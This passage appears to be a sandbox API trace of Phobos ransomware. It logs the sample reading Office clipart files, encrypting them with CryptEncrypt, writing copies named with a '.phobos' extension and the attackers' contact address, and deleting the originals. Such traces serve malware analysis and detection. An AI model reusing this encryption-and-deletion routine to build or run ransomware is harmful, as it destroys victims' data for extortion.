office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0178.563] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=3764) returned 1 [0178.563] CloseHandle (hObject=0x2c8) returned 1 [0178.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x220 [0178.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0178.563] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0178.563] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0178.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.566] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d18d0) returned 1 [0178.566] CryptSetKeyParam (hKey=0x1d18d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0178.566] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0xeb4, lpOverlapped=0x0) returned 1 [0178.616] CryptEncrypt (in: hKey=0x1d18d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xec0, dwBufLen=0xec0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xec0) returned 1 [0178.616] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xec0, lpOverlapped=0x0) returned 1 [0178.752] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1a90) returned 1 [0178.752] CryptSetKeyParam (hKey=0x1d1a90, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0178.752] CryptEncrypt (in: hKey=0x1d1a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0178.752] CryptDestroyKey (hKey=0x1d1a90) returned 1 [0178.752] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0178.753] CryptDestroyKey (hKey=0x1d18d0) returned 1 [0178.753] CloseHandle (hObject=0x2c8) returned 1 [0178.753] CloseHandle (hObject=0x2e0) returned 1 [0178.753] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0178.755] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0178.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.755] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2232) returned 1 [0178.755] CloseHandle (hObject=0x2e0) returned 1 [0178.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x220 [0178.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.756] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0178.756] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0178.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0178.757] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1950) returned 1 [0178.757] CryptSetKeyParam (hKey=0x1d1950, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0178.757] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x8b8, lpOverlapped=0x0) returned 1 [0178.839] CryptEncrypt (in: hKey=0x1d1950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x8c0) returned 1 [0178.839] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x8c0, lpOverlapped=0x0) returned 1 [0178.840] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d16d0) returned 1 [0178.840] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0178.840] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0178.840] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0178.840] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0178.840] CryptDestroyKey (hKey=0x1d1950) returned 1 [0178.840] CloseHandle (hObject=0x2e0) returned 1 [0178.840] CloseHandle (hObject=0x2c8) returned 1 [0178.840] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0178.842] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0178.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0178.842] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=3286) returned 1 [0178.842] CloseHandle (hObject=0x2c8) returned 1 [0178.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x220 [0178.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0178.843] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0178.843] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0178.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.844] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1a10) returned 1 [0178.844] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0178.844] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0xcd6, lpOverlapped=0x0) returned 1 [0178.920] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xce0, dwBufLen=0xce0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xce0) returned 1 [0178.920] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xce0, lpOverlapped=0x0) returned 1 [0178.921] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1710) returned 1 [0178.921] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0178.921] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0178.921] CryptDestroyKey (hKey=0x1d1710) returned 1 [0178.921] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0178.921] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0178.921] CloseHandle (hObject=0x2c8) returned 1 [0178.921] CloseHandle (hObject=0x2e0) returned 1 [0178.921] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0179.151] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0179.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0179.151] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=3662) returned 1 [0179.152] CloseHandle (hObject=0x2e0) returned 1 [0179.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x220 [0179.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0179.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0179.152] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0179.152] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0179.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0179.153] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d19d0) returned 1 [0179.153] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0179.153] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0xe4e, lpOverlapped=0x0) returned 1 [0180.465] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xe50, dwBufLen=0xe50 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xe50) returned 1 [0180.465] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xe50, lpOverlapped=0x0) returned 1 [0180.466] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d16d0) returned 1 [0180.466] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0180.466] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0180.467] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0180.467] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0180.467] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0180.467] CloseHandle (hObject=0x2e0) returned 1 [0180.467] CloseHandle (hObject=0x2c8) returned 1 [0180.467] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0180.469] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0180.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0180.470] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=3298) returned 1 [0180.470] CloseHandle (hObject=0x2c8) returned 1 [0180.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x220 [0180.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0180.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0180.470] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0180.470] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0180.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.471] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d17d0) returned 1 [0180.471] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0180.471] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0xce2, lpOverlapped=0x0) returned 1 [0181.473] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xcf0, dwBufLen=0xcf0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xcf0) returned 1 [0181.473] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xcf0, lpOverlapped=0x0) returned 1 [0181.975] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1610) returned 1 [0181.975] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0181.975] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0181.975] CryptDestroyKey (hKey=0x1d1610) returned 1 [0181.975] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0181.975] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0181.975] CloseHandle (hObject=0x2c8) returned 1 [0181.975] CloseHandle (hObject=0x2e0) returned 1 [0181.976] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0181.979] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0181.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0181.979] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=1468) returned 1 [0181.979] CloseHandle (hObject=0x2e0) returned 1 [0181.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x220 [0181.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0181.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0181.980] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0181.980] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0181.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0181.980] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d14d0) returned 1 [0181.980] 